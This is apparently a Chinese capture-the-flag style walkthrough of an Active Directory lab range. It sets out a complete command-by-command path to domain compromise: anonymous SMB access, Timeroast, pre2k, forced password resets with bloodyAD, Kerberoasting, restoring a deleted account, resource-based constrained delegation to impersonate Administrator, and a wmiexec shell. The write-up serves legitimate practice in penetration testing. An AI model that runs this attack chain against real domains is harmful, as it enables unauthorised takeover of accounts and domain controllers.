[无境原创] Dawn Breaker 目标地址本机地址192.168.111.10192.168.111.25先说做这个靶场踩的坑1.注意时间同步问题如果Kali和域控的时间相差太大可能会造成Kerberos认证失败影响后续命令执行sudo ntpdate -u 192.168.111.10 #如果认证还是失败可以先关闭kali自动校正时间机制2.域名解析问题如果报错无法解析域名名称记得在/etc/hosts加入域控映射扫描扫描结果锁定ip为192.168.111.10是域sec.lab的域控nmapnmap -sV -Pn 192.168.111.10fscanfscan -h 192.168.111.10SMB匿名访问尝试空用户名、单个空格密码的连接最终被映射成了Guest身份并且能够枚举部分共享nxc smb 192.168.111.10 -u -p --shares访问可读welcome文件夹读取letter.txt文件疑似获得一组账号密码smbclient //192.168.111.10/Welcome -U %验证凭据能够有效访问共享权限比guest大nxc smb 192.168.111.10 -u Yangyang -p Hello --sharesbloodhound血猎犬上线进行信息收集bloodhound-python -c All -u Yangyang -p Hello -ns 192.168.111.10 -d sec.lab -dc ad.sec.lab --zip --dns-tcpSOLARISSEC.LAB探寻线路决定尝试获取SOLARISSEC.LAB权限并通过rover用户进行下一步操作timeroastTimeroast是一种针对Active DirectoryAD域环境中计算机账号的离线密码破解技术。它利用Windows域中的时间服务相关协议获取与计算机账号密码验证有关的响应再尝试离线猜测计算机账号的密码。nxc smb 192.168.111.10 -u Yangyang -p Hello -M timeroasthashcat获取2116的hash值爆破密码为solaris与账号名相同pre2kPre2kPre-Windows 2000 Compatibility在AD域渗透中通常指与Windows 2000以前的兼容机制有关的计算机账号弱密码风险也经常指用于检测、利用这类风险的工具或攻击方法nxc ldap 192.168.111.10 -u Yangyang -p Hello -M pre2k因为发现SOLARIS$是预创建用户其密码可能是计算机名转成小写、去掉末尾$验证成功nxc ldap 192.168.111.10 -u SOLARIS$ -p solaris -k #参数k强制登录获取Rover用户的控制权修改Rover用户的密码bloodyAD -u SOLARIS$ -p solaris -k --host AD.sec.lab -d sec.lab set password rover 123456验证账户没成功发现账户没有启动启动账户后验证新密码成功nxc smb 192.168.111.10 -u Rover -p 123456bloodyAD -u SOLARIS$ -p solaris -k --host AD.sec.lab -d sec.lab remove uac Rover -f ACCOUNTDISABLE添加Rover用户到JINZHOU组发现Rover用户是可以将自身加入JinzhouSEC.LAB的bloodyAD -u Rover -p 123456 --host 192.168.111.10 -d sec.lab add groupMember Jinzhou Rover将rover加入jinzhou组后查看rover权限发现rover对组内用户拥有writespn的权限bloodyAD -u Rover -p 123456 -d sec.lab --host 192.168.111.10 get writable --detailADDSPN向某个AD账号的servicePrincipalName(SPN)属性中写入服务主体名称可以使该账号关联相应的服务标识。因为Kerberoasting针对的是具有有效SPN的服务账号攻击者向KDC请求对应的TGS服务票据而票据中的加密部分使用该服务账号的长期密钥进行保护。攻击者获取票据后可以尝试使用hashcat进行离线密码爆破从而获得明文密码发现jinxi对blackshores组有写入成员的权限所以对jinxi进行addspn操作bloodyAD -u Rover -p 123456 -d sec.lab --host 192.168.111.10 set object Jinxi servicePrincipalName -v http/webnxc ldap 192.168.111.10 -u Rover -p 123456 --kerberoasting KERBEROASTINGhashcathashcat KERBEROASTING /usr/share/wordlists/rockyou.txt添加Rover用户到BLACK SHORES组通过上面的发现通过jinxi将rover写入blackshores组bloodyAD -u Jinxi -p Jinxin --host ad -d sec.lab add groupMember Black Shores Rover获取THESHOREKEEPER用户的控制权查询theshorekeeper用户状态发现它未启用bloodyAD -u Rover -p 123456 --host 192.168.111.10 -d sec.lab get object TheShorekeeper --attr userAccountControl因为blackshores组对theshorekeeper有WriteOwner权限所以先把账户所有者改为Rover对其授予theshorekeeper的完全控制权限再重置该账户密码最后启用该账户bloodyAD -u Rover -p 123456 --host ad -d sec.lab set owner TheShorekeeper Rover bloodyAD -u Rover -p 123456 --host ad -d sec.lab add genericAll TheShorekeeper Rover bloodyAD -u Rover -p 123456 --host ad -d sec.lab set password TheShorekeeper 123456 bloodyAD -u Rover -p 123456 -d sec.lab --host 192.168.111.10 remove uac TheShorekeeper -f ACCOUNTDISABLE添加Rover用户到LAHAYO组theshorekeeper对lahayo组有添加成员的权限于是利用上面成功执行获得的rover对theshorekeeper的控制权限将rover添加进lahayo组bloodyAD -u TheShorekeeper -p 123456 -d sec.lab --host 192.168.111.10 add groupMember Lahayo Rover最后到这里就走不通了但是我们发现有一个无法解析名称的AD安全主体对域控有基于资源的约束委派(RBCD)配置权限它是该域中的某个用户、组或计算机的SID但当前查询环境没有把SID映射成名称可能是因为对象已删除、权限不足、SID 历史记录或域解析不完整等尝试查询查询AD中已删除的对象发现第二个已删除用户Lynae与上图未知节点的SID值对应bloodyAD -u Rover -p 123456 -d sec.lab --host 192.168.111.10 get search -c 1.2.840.113556.1.4.2064 --filter (isDeletedTRUE) --attr name,objectSid查询是否有用户对Deleted Objects有权限能够恢复已删除的AD对象发现rover对此有权限bloodyAD -u Rover -p 123456 -d sec.lab --host 192.168.111.10 get writable恢复已删除用户恢复lynae对象bloodyAD -u Rover -p 123456 -d sec.lab --host 192.168.111.10 set restore Lynae恢复后重置其密码并重新启用用户bloodyAD -u Rover -p 123456 -d sec.lab --host 192.168.111.10 set password Lynae 123456bloodyAD -u Rover -p 123456 -d sec.lab --host 192.168.111.10 remove uac Lynae -f ACCOUNTDISABLERBCD(基于资源的约束委派)由于重新启用的用户lynae对AD.SEC.LAB有addallowedtoact权限域控尝试创建一个计算机账户Web$然后配置它对AD$计算机账户的资源型约束委派权限其实就是是让AD$信任我们的Web$并且允许Web$代表其他用户向AD$求特定服务的Kerberos票据bloodyAD -u Lynae -p 123456 -d sec.lab --host 192.168.111.10 add computer Web 123456bloodyAD -u Lynae -p 123456 -d sec.lab --host 192.168.111.10 add rbcd AD$ Web$通过Web$借助这个关系以Administrator身份请求访问AD上CIFS服务的Kerberos票据然后设置环境变量指定后续Kerberos工具默认使用哪个票据缓存文件impacket-getST -spn CIFS/AD -impersonate Administrator sec.lab/Web$:123456 -k -dc-ip 192.168.111.10export KRB5CCNAMEAdministratorCIFS_ADSEC.LAB.ccache获取shell利用Kerberos票据通过WMI远程执行命令成功获取远程命令行Shellimpacket-wmiexec -k -no-pass AD -dc-ip 192.168.111.10 -codec gbk